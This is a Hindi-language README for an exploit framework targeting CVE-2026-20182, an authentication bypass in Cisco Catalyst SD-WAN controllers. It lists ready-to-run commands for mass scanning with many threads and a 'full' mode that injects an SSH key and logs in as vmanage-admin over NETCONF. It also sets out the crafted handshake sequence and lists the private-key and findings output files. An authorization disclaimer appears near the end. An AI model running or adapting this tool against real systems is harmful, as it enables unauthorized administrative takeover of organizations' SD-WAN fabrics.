
Cisco Catalyst SD-WAN पीयरिंग प्रमाणीकरण बाईपास
Cisco Catalyst SD-WAN पीयरिंग प्रमाणीकरण बायपास
Cisco Catalyst SD-WAN Controller / Manager पीयरिंग प्रमाणीकरण बायपास (CVE-2026-20182) के अधिकृत परीक्षण हेतु आकलन उपकरण।
| CVE | CVE-2026-20182 |
| गंभीरता | क्रिटिकल (CVSS 10.0) |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| उत्पाद | Cisco Catalyst SD-WAN Controller (पूर्व में vSmart) · Cisco Catalyst SD-WAN Manager (पूर्व में vManage) |
| समस्या | पीयरिंग प्रमाणीकरण तंत्र सही ढंग से लागू नहीं किया गया |
| स्क्रिप्ट | CVE-2026-20182.py |
मई 2026 एडवाइज़री: कंट्रोल-कनेक्शन हैंडशेकिंग / पीयरिंग प्रमाणीकरण में एक दोष बिना प्रमाणीकरण वाले रिमोट हमलावर को प्रमाणीकरण बायपास करने और प्रभावित सिस्टम पर उच्च-विशेषाधिकार वाली आंतरिक पहुंच प्राप्त करने की अनुमति देता है।
हमलावर प्रभावित सिस्टम पर निर्मित अनुरोध (crafted requests) भेजता है। सफल होने पर, हमलावर आंतरिक, उच्च-विशेषाधिकार वाले, गैर-root खाते के रूप में प्रमाणित हो सकता है और NETCONF तक पहुंच सकता है, जिससे SD-WAN फ़ैब्रिक कॉन्फ़िगरेशन में हेरफेर संभव हो जाता है।
अनुशंसा: आधिकारिक विक्रेता मार्गदर्शन के अनुसार Cisco सुरक्षा फिक्स लागू करें। प्रबंधन प्लेन (management plane) के एक्सपोज़र को प्रतिबंधित करें, कंट्रोल-प्लेन कनेक्शन की निगरानी करें, और अनधिकृत कॉन्फ़िगरेशन परिवर्तनों के लिए SD-WAN कंट्रोलरों का ऑडिट करें।
Telegram: @KNxploited
CVE-2026-20182.pyCisco SD-WAN vdaemon (UDP/DTLS 12346) के विरुद्ध CVE-2026-20182 हेतु Python 3 एक्सप्लॉइट फ्रेमवर्क।
फ़ैब्रिक फ़ॉलबैक: TEAR_DOWN या पैरामीटर बेमेल पर, --no-fallback न होने तक वैकल्पिक domain/site प्रीसेट (1,100), (1,1), (0,0) के साथ पुनः प्रयास करता है।
महत्वपूर्ण
check मोड → अधिकतम टियर 03 (बायपास प्रोब)। नहीं पूर्ण एक्सप्लॉइटेशन प्रमाण।full मोड → टियर 01 (ssh_verified) का लक्ष्य रखें।https://host → केवल TCP वेब संकेत (80/443)। नहीं 443 पर UDP DTLS।pip install -r requirements.txt
Windows
bin\ को PATH में जोड़ें, या सेट करें:OPENSSL_HOME=C:\Program Files\OpenSSL-Win64
Linux
# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH
यदि OpenSSL लोड नहीं किया जा सकता तो टूल स्टार्टअप पर बाहर निकल जाता है।
python CVE-2026-20182.py
0 = स्कैन लॉन्च करेंcheck (सुरक्षित बायपास प्रोब)python CVE-2026-20182.py -y
CHECK — केवल बायपास प्रोब
python CVE-2026-20182.py -y --mode check
FULL — कुंजी इंजेक्ट करें + SSH सत्यापित करें (केवल अधिकृत लक्ष्य)
python CVE-2026-20182.py -y --mode full
-f / --file — लक्ष्य सूची (डिफ़ॉल्ट: targets.txt)
python CVE-2026-20182.py -y -f my_controllers.txt --mode check
-t / --threads — वर्कर थ्रेड (1–200, डिफ़ॉल्ट 12)
python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check
--domain — सूची में न होने पर डिफ़ॉल्ट DOMAIN_ID (डिफ़ॉल्ट: 1)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check
--site — सूची में न होने पर डिफ़ॉल्ट SITE_ID (डिफ़ॉल्ट: 100)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full
--mode — check | full
python CVE-2026-20182.py -y --mode full -f targets.txt
-y / --yes — इंटरैक्टिव मेनू छोड़ें; केवल CLI मान उपयोग करें
python CVE-2026-20182.py -y -f targets.txt --mode check -t 20
--no-ssh-verify — इंजेक्शन के बाद का SSH परीक्षण छोड़ें (full मोड में अनुशंसित नहीं)
python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt
--verify-ssh22 — 830 के बाद TCP 22 भी आज़माएँ
python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt
--no-try-list-udp — केवल UDP 12346; सूची से :port अनदेखा करें
python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check
--extra-udp-ports — लैब: हर होस्ट पर अतिरिक्त UDP पोर्ट
python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check
--no-fallback — TEAR_DOWN पर domain/site पुनः प्रयास अक्षम करें
python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full
-v / --verbose — प्रत्येक प्रोटोकॉल TX/RX संदेश लॉग करें
python CVE-2026-20182.py -y -v -f targets.txt --mode check
-y छोड़ा जाए)targets.txt प्रारूपप्रति पंक्ति एक लक्ष्य। # से शुरू होने वाली पंक्तियाँ अनदेखा की जाती हैं।
उदाहरण फ़ाइल
# Lab controllers — authorized only
10.10.10.1
10.10.10.2:12346:1:100
https://sdwan-controller.example.com
10.10.10.4:12346:1:1
समर्थित नहीं: IPv6 (केवल IPv4 / होस्टनाम)।
उदाहरण SSH कमांड (टियर 01)
ssh -i "sdwan_keys/sdwan_10_10_10_1_12346_d1_s100.pem" [email protected] -p 830 -N
python CVE-2026-20182.py -y -f targets.txt --mode check -t 24
cisco_sdwan_03_bypass_only.jsonl और लाइव आँकड़ों में केवल बायपास की समीक्षा करें।
python CVE-2026-20182.py -y -f confirmed_hosts.txt --mode full -t 8
cisco_sdwan_01_confirmed_ssh.jsonl की समीक्षा करें — केवल इसी फ़ाइल में ssh_verified: true होता है।
python CVE-2026-20182.py -y -f single.txt --mode full -t 1 -v --no-fallback
check है — यह स्वयं कुंजियाँ नहीं लिखता और न ही SSH साबित करता है।full मोड में ssh_verified=true।CHALLENGE_ACK के बाद TEAR_DOWN; फ़ैब्रिक फ़ॉलबैक सक्षम करें या सूची में domain/site ठीक करें।sdwan_keys/ या स्कैन परिणामों को सार्वजनिक रिपॉजिटरी में कमिट न करें।यह सॉफ़्टवेयर केवल अधिकृत सुरक्षा अनुसंधान, रक्षात्मक मूल्यांकन और शिक्षा के लिए है।
आपके पास किसी भी ऐसे सिस्टम का परीक्षण करने के लिए स्पष्ट लिखित अनुमति होनी चाहिए जिसके स्वामी या संचालक आप नहीं हैं। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। लेखक इस टूल के उपयोग से उत्पन्न दुरुपयोग, क्षति या कानूनी परिणामों के लिए जिम्मेदार नहीं है।
केवल उन्हीं सिस्टम और नेटवर्क पर उपयोग करें जहाँ आपको सुरक्षा परीक्षण करने के लिए स्पष्ट रूप से अधिकृत किया गया है।
द्वारा: Nxploited ( Khaled Alenazi )
| आइटम | विवरण |
|---|
| हमला वेक्टर | नेटवर्क |
| आवश्यक विशेषाधिकार | कोई नहीं |
| उपयोगकर्ता सहभागिता | कोई नहीं |
| दायरा | परिवर्तित |
| प्रभाव | गोपनीयता, अखंडता और उपलब्धता — उच्च |
| चरण | चरण | विवरण |
|---|
| 1 | लक्ष्य लोड करें | targets.txt पार्स करें, (host, domain_id, site_id) के आधार पर डुप्लिकेट मर्ज करें |
| 2 | OpenSSL प्रीफ़्लाइट | कस्टम DTLS के लिए OpenSSL 3.x/4.x शेयर्ड लाइब्रेरी लोड करें |
| 3 | DTLS कनेक्ट | लक्ष्य UDP पोर्ट से कनेक्ट करें (हमेशा पहले 12346, फिर वैकल्पिक सूची पोर्ट) |
| 4 | CHALLENGE | सर्वर से CHALLENGE (0x08) प्राप्त करें |
| 5 | CHALLENGE_ACK | निर्मित CHALLENGE_ACK को vHub (type 2) के रूप में भेजें — प्रमाणीकरण बायपास |
| 6 | Hello | Hello एक्सचेंज पूरा करें — बायपास पथ की पुष्टि करता है |
| 7a | CHECK मोड | यहीं रुकें — केवल बायपास / Hello OK रिकॉर्ड करें (कोई कुंजी नहीं, कोई SSH नहीं) |
| 7b | FULL मोड | VMANAGE_TO_PEER के माध्यम से SSH सार्वजनिक कुंजी इंजेक्ट करें |
| 8 | Inject ACK | प्रोटोकॉल स्वीकृति के रूप में REGISTER_TO_VMANAGE (0x0D) की अपेक्षा करें |
| 9 | SSH सत्यापन | TCP 830 (NETCONF), वैकल्पिक 22 पर vmanage-admin के रूप में लॉगिन परीक्षण करें |
| 10 | आउटपुट | निष्कर्षों को टियर फ़ाइलों + मानव-पठनीय कमांड सूची में क्रमबद्ध करें |
| टियर | फ़ाइल | अर्थ |
|---|
| 01 — पुष्ट SSH | cisco_sdwan_01_confirmed_ssh.jsonl | ssh_verified=true — केवल यही टियर पूर्ण समझौते का प्रमाण माना जाता है |
| 02 — केवल Inject ACK | cisco_sdwan_02_inject_ack_only.jsonl | प्रोटोकॉल ने कुंजी इंजेक्शन स्वीकार किया; SSH लॉगिन विफल |
| 03 — केवल बायपास | cisco_sdwan_03_bypass_only.jsonl | Hello/बायपास OK; कोई पुष्ट इंजेक्शन नहीं |
| आवश्यकता | नोट्स |
|---|
| Python | 3.9+ |
| pip | cryptography, rich |
| OpenSSL | 3.x या 4.x शेयर्ड लाइब्रेरी (libssl + libcrypto) — अनिवार्य |
| मोड | फ़्लैग | SSH इंजेक्ट | SSH सत्यापन | कब उपयोग करें |
|---|
| CHECK | --mode check (डिफ़ॉल्ट) | नहीं | नहीं | बड़े पैमाने पर स्क्रीनिंग, बायपास पहचान |
| FULL | --mode full | हाँ | हाँ (जब तक --no-ssh-verify न हो) | समझौते का प्रमाण |
| # | विकल्प |
|---|
| 1 | लक्ष्य फ़ाइल |
| 2 | वर्कर थ्रेड |
| 3 | डिफ़ॉल्ट DOMAIN_ID |
| 4 | डिफ़ॉल्ट SITE_ID |
| 5 | मोड: check / full |
| 6 | TEAR_DOWN पर फ़ैब्रिक ऑटो-रीट्राय |
| 7 | वर्बोज़ प्रोटोकॉल लॉग |
| 8 | इंजेक्शन के बाद SSH सत्यापन |
| 9 | SSH :22 भी सत्यापित करें |
| 10 | स्पष्ट सूची UDP पोर्ट आज़माएँ |
| 11 | अतिरिक्त UDP पोर्ट (लैब) |
| 12 | सूची प्रारूप सहायता दिखाएँ |
| 0 | ▶ स्कैन लॉन्च करें |
| प्रारूप | उदाहरण | व्यवहार |
|---|
| IP / होस्टनाम | 10.0.0.1 | UDP 12346 + डिफ़ॉल्ट domain/site |
| IP + UDP पोर्ट | 10.0.0.2:12346 | सूची UDP पोर्ट भी आज़माएँ |
| IP + पोर्ट + domain + site | 10.0.0.3:12346:1:100 | पूर्ण फ़ैब्रिक टपल |
| HTTPS URL | https://10.0.0.4 | होस्ट + केवल TCP 443 संकेत (UDP/443 नहीं) |
| HTTP URL | http://10.0.0.5 | केवल TCP 80 संकेत |
| UDP URL | udp://10.0.0.6:12346 | स्पष्ट UDP |
| टैब/कॉमा से अलग किया गया | 10.0.0.7 12346 1 100 | चार-फ़ील्ड फ़ॉर्म के समान |
| कुंजी=मान | 10.0.0.8;port=12346;domain=1;site=100 | सेमीकोलन KV सिंटैक्स |
| फ़ाइल | सामग्री |
|---|
cisco_sdwan_results.jsonl | प्रति प्रयास कच्चा JSON परिणाम |
cisco_sdwan_success.txt | पुष्ट SSH पंक्तियाँ (टैब-सेपरेटेड) |
cisco_sdwan_01_confirmed_ssh.jsonl | टियर 01 — सत्यापित SSH |
cisco_sdwan_02_inject_ack_only.jsonl | टियर 02 — inject ACK, SSH विफल |
cisco_sdwan_03_bypass_only.jsonl | टियर 03 — केवल बायपास / Hello |
cisco_sdwan_commands.txt | मानव-पठनीय SSH कमांड |
cisco_sdwan_findings.json | सत्र सारांश + गणनाएँ |
sdwan_keys/ | जेनरेट की गई निजी कुंजियाँ (full मोड) |
| काउंटर | अर्थ |
|---|
| प्रगति | पूर्ण किए गए लक्ष्य / कुल |
| SSH सत्यापित | टियर 01 गिनती |
| Inject ACK | टियर 02 गिनती |
| केवल बायपास | टियर 03 गिनती |
| विफल | त्रुटियाँ / कोई बायपास नहीं |